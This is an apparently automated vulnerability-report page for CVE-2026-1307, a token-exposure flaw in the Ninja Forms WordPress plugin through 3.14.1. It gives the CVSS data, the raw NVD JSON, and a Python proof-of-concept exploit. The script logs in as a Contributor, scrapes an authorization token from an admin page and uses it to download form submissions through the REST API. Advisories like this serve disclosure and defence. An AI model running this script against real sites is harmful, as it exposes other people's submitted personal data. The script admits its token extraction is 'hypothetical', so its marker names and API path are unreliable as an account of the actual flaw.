Security Vulnerability Report
中文
CVE-2026-1307 CVSS 6.5 MEDIUM

CVE-2026-1307

Published: 2026-03-28 07:15:56
Last Modified: 2026-04-24 16:36:24

Description

The Ninja Forms - The Contact Form Builder That Grows With You plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.14.1 via a callback function for the admin_enqueue_scripts action handler in blocks/bootstrap.php. This makes it possible for authenticated attackers, with Contributor-level access and above, to gain access to an authorization token to view form submissions for arbitrary forms, which could potentially contain sensitive information.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Ninja Forms <= 3.14.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration target_url = "http://example.com/wp-admin" login_url = "http://example.com/wp-login.php" username = "contributor" password = "password" # Initialize session session = requests.Session() # Step 1: Authenticate as a low-privileged user (Contributor) login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } print("[*] Attempting to login as Contributor...") response = session.post(login_url, data=login_data) if response.status_code == 200: print("[+] Login successful.") # Step 2: Trigger the vulnerable callback to leak the token # Accessing a page that loads the block editor or specific admin page print("[*] Accessing vulnerable page to leak token...") vuln_page = session.get(f"{target_url}/admin.php?page=ninja-forms") # Step 3: Extract the Authorization Token # Hypothetical extraction based on the vulnerability description # The token might be exposed in a JavaScript variable or HTML attribute token_marker = "nf_subs_auth_token" if token_marker in vuln_page.text: # Simple parsing logic for demonstration start = vuln_page.text.find(token_marker) + len(token_marker) + 3 # skip ='" end = vuln_page.text.find('"', start) leaked_token = vuln_page.text[start:end] print(f"[+] Token leaked: {leaked_token}") # Step 4: Exploit the token to access arbitrary form submissions # Using the leaked token in an API request api_url = "http://example.com/wp-json/nf-submissions/v1/submissions" headers = { 'Authorization': f'Bearer {leaked_token}', 'Content-Type': 'application/json' } print("[*] Fetching form submissions using leaked token...") exploit_resp = session.get(api_url, headers=headers) if exploit_resp.status_code == 200: print("[+] Exploit successful! Sensitive data obtained:") print(exploit_resp.json()) else: print("[-] Failed to fetch data.") else: print("[-] Token not found in response.") else: print("[-] Login failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1307", "sourceIdentifier": "[email protected]", "published": "2026-03-28T07:15:55.950", "lastModified": "2026-04-24T16:36:24.067", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ninja Forms - The Contact Form Builder That Grows With You plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.14.1 via a callback function for the admin_enqueue_scripts action handler in blocks/bootstrap.php. This makes it possible for authenticated attackers, with Contributor-level access and above, to gain access to an authorization token to view form submissions for arbitrary forms, which could potentially contain sensitive information."}, {"lang": "es", "value": "El plugin Ninja Forms - The Contact Form Builder That Grows With You para WordPress es vulnerable a la Exposición de Información Sensible en todas las versiones hasta la 3.14.1, inclusive, a través de una función de callback para el gestor de acción admin_enqueue_scripts en blocks/bootstrap.php. Esto permite a atacantes autenticados, con acceso de nivel Colaborador o superior, obtener acceso a un token de autorización para ver envíos de formularios arbitrarios, lo que podría contener información sensible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3489168/ninja-forms", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/df4f4358-af6a-4a1a-bb83-afe31b3cdb9f?source=cve", "source": "[email protected]"}]}}